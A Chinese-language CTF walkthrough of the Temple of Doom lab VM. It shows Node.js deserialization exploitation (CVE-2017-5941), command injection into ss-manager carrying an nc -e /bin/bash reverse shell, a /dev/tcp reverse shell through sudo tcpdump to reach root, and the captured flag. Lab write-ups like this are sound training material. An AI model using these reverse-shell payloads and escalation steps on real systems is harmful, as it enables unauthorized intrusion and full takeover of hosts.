端口扫描-->http访问,burp抓包分析-->node.js反序列化漏洞得到nodeadmin反弹shell-->linpeas提权检测-->利用ss-manager命令执行漏洞得到fireman的反弹shell-->sudo tcpdump提权
步骤1:nmap扫描端口攻击机(kali)输入以下命令扫描靶机开放端口,其中192.168.101.26是靶机ip
sudo nmap -sS -A -p- 192.168.101.26
扫描结果如下图所示,扫出来了22端口(ssh)和666端口(http) 。注意到http服务的version是Node.js Express
用nikto和dirb都没扫出什么来,有点不对劲
nikto -host http://192.168.101.26:666
dirb http://192.168.101.26:666
用浏览器访问http://192.168.101.26:666,burpsuite抓包。
第一次访问时,页面仅显示一行提示“Under Construction, Come Back Later!”,请求和响应报文如下
第二次访问时,页面显示一堆报错
burp抓到的请求和响应报文
对比第一次和第二次的请求报文,可以发现第二次多了Cookie头。
Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
profile的值先url解码,再base64解码,得到如下结果
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}
可以看到"Expires=":Friday这块的格式不对,改成正确的格式
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires":"Friday, 13 Oct 2018 00:00:00 GMT"}
进行base64编码之后,在burp的repeater中替代request报文中原本的profile值, 并进行报文重放,返回结果不再报错,而是显示”Hello Admin“。返回报文中没什么有意义的内容。
dirb扫描目录的时候加上正确的cookie,仍然扫描不出结果
dirb http://192.168.101.26:666 /usr/share/dirb/wordlists/big.txt -c "profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcyI6IkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0="
步骤4: 利用CVE-2017-5941(Node.js反序列化)getshell
感觉网站也没什么有用信息了,到这边我思路也断了,悄咪咪看了这部分网上的writeup,发现原来到这里信息收集就结束了,接下来就可以利用node.js的反序列化漏洞getshell了。
学习了一下CVE-2017-5941的原理和利用方法CVE-2017-5941: 利用Node.js反序列化漏洞执行远程代码 - 云+社区 - 腾讯云
然后在exploit-db上找到一个.py文件
Node.JS - 'node-serialize' Remote Code Execution (2) - NodeJS webapps Exploit
代码还是比较简单的,只需要修改下图所示三个地方,第一个框内是目标url,第二个框内修改ip和端口为攻击机ip和攻击机监听端口,第三个框内修改cookie为本关正确的profile值(就是那个能返回”Hello Admin“的)
攻击机上开始监听2333端口
nc -lvp 2333
执行这个.py文件
python2 CVE-2017-5941.py
得到反弹shell
从github上下载提权检测脚本,解压后把linpeas.sh放到攻击机上
https://github.com/carlospolop/PEASS-ng
攻击机上开http服务
python -m SimpleHTTPServer 7777
反弹shell中用wget命令下载linpeas.sh
wget http://192.168.101.25:7777/linpeas.sh
下载成功后linpeas.sh还没有执行权限,所以还得用chmod命令使当前用户有执行权限
chmod 744 linpeas.sh
执行linpeas.sh
./linpeas.sh
然后会输出好多结果,比如推荐的CVE(试了highly probable的没成功)
比如有控制台的用户,可以看到除了我们现在反弹shell的用户nodeadmin和我们想成为的root,还有fireman,如果当前用户没有提权突破口,也许可以试试别的用户
比如有suid的命令,可以考察一下标红的命令(比较满足条件的是pkexec,但没成功)
sudo -l看了一下,没有命令
再找找看fireman在哪里
find / -name "*fireman*" 2>/dev/null
发现/home/fireman进不进去
找一下文件中有没有提到fireman的地方
find / -type f -name "*" |xargs grep -ri "fireman" 2>/dev/null
红框里面的是开机启动的程序(rc.local是开机加载文件),现在应该是起着的
确认一下这个进程是否确实起着
ps -aux | grep ss-manager
嗯,确实起着
exploit-db中搜索内容包含ss-manager的,搜索到如下结果,红框里面的靠谱
shadowsocks-libev 3.1.0 - Command Execution - Linux local Exploit
这边除了上面的poc,还参考了下面两篇wp,外加自己摸索
Temple of Doom 1: CTF Walkthrough Part 2 - Infosec Resources
No.25-VulnHub-Temple of Doom: 1-Walkthrough渗透学习_大余xiyou的博客-CSDN博客
攻击机上输入
nc -lvp 3333
反弹shell中输入
nc -u 127.0.0.1 8839
再在反弹shell中输入
add: {"server_port":8003, "password":"test", "method":"||nc 192.168.101.25 3333 -e /bin/bash||"}
这一步符号一定要特别注意要英文符号,我从上面两篇拷的都有中文双引号,因此失败了好几次
输完这个命令之后,就得到了fireman的反弹shell
反弹shell中输入
python -c 'import pty; pty.spawn("/bin/bash")'
得到交互式反弹shell
sudo -l看一下,发现fireman可以在不输入密码的情况下sudo三个命令
前两个命令都安全,tcpdump可以提权,参考GTFOBins网站中的payload
tcpdump | GTFOBins COMMAND的内容换成
/bin/bash -i >& /dev/tcp/192.168.101.25/5555 0>&1
具体来说,首先,攻击机上监听5555端口
nc -lvp 5555
然后fireman的反弹shell中依次输入如下命令
[fireman@localhost ~]$ COMMAND='/bin/bash -i >& /dev/tcp/192.168.101.25/5555 0>&1'
[fireman@localhost ~]$ TF=$(mktemp)
[fireman@localhost ~]$ echo "$COMMAND" > $TF
[fireman@localhost ~]$ chmod +x $TF
[fireman@localhost ~]$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
如下图所示,输入完上述命令之后,还需要输入Ctrl+C退出,退出之后才能得到root的反弹shell。为啥会这样我还不知道,如果有大神知道,望不吝赐教。
Ctrl+C退出之后,得到如下root的反弹shell,ls -al看一下,有个flag.txt文件
flag就在flag.txt中
cat flag.txt
flag是kre0cu4jl4rzjicpo1i7z5l1